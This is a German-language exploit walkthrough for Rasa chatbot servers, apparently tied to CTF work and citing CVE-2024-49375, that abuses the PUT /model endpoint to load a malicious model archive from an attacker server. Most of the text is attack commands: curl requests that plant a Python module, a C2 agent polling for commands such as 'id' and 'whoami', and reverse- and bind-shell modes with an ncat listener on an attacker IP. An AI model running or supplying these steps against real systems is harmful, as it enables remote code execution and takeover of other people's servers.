
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
Einfach direkt ausführen
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

Effekt wie folgt:

Standard-Modellname: evil_import_model.tar.gz
Beispiel für ein bösartiges Modell:
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
Setze bösartige Dialogregel
Eingabe
greet→ RückgabePWNED_BY_CTF
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

Effekt wie folgt:

model.py modifiziert die angegebenen Daten im Archiv
Direkte Ausführung: Liest standardmäßig das Modell aus /model, modifiziert und speichert es als evil_import_model.tar.gz im aktuellen Verzeichnis

Angabe der Reverse-IP
Standard-Modellname: evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

Die Daten nacheinander senden
Im realen Szenario unterschiedlich
Angreifer-Maschine Rasa-Container (Ziel)
│ │
├─ Starte server-2.py ──────────────┤
├─ PUT /model ──→ Lade pwnmod.py nach /app/
├─ PUT /model ──→ Lade bösartiges Modell → import pwnmod → Agent startet
│ │
│ ← GET /poll?agent=xxx ───────────┤ Polling alle 3s
├─ /enqueue?cmd=id ─────────────────┤
│ ← GET /poll ─────────────────────┤ Befehl erhalten
│ ← POST /result ──────────────────┤ Ergebnis zurückgesendet
├─ /last?agent=xxx ──→ Ergebnis lesen
# Angreifer startet
python server-2.py --mode c2 --c2-base-url http://<Angreifer-IP>:8000 --port 8000
# Exploit auslösen (zwei Schritte)
curl -X PUT http://<Rasa-Adresse>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<Angreifer-IP>:8000/write-module"}}'
curl -X PUT http://<Rasa-Adresse>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<Angreifer-IP>:8000/model"}}'
# Befehl senden
curl "http://<Angreifer-IP>:8000/enqueue?cmd=id"
# Nach 8 Sekunden Ergebnis lesen (Agent pollt alle 3s + Ausführungszeit)
curl "http://<Angreifer-IP>:8000/last?agent=<Hostname>"
# Ohne Angabe von Agent (Wildcard)
curl "http://<Angreifer-IP>:8000/enqueue?cmd=whoami"
curl "http://<Angreifer-IP>:8000/last"
# 1) Angreifer startet Listener
ncat -lvnp 4444
# 2) Angreifer startet server-2.py
python server-2.py --mode reverse --reverse-host <Angreifer-IP> --reverse-port 4444 --port 8000
# 3) Exploit auslösen
curl -X PUT http://<Rasa-Adresse>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<Angreifer-IP>:8000/write-module"}}'
curl -X PUT http://<Rasa-Adresse>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<Angreifer-IP>:8000/model"}}'
# 4) nc empfängt $ Prompt → direkte Interaktion
python server-2.py --mode bind --bind-port 4444 --port 8000
# Agent horcht im Zielcontainer auf 0.0.0.0:4444
# ncat <Ziel-IP> 4444 zum Verbinden
| Parameter | Bedeutung |
|---|
--port 8000 | Eigener Listen-Port von server-2.py |
--c2-base-url | Vollständige Base-URL für das Polling des Agenten im C2-Modus (muss vom Container erreichbar sein) |
--reverse-host | Ziel-IP für die Reverse Shell |
--reverse-port | Ziel-Port für die Reverse Shell |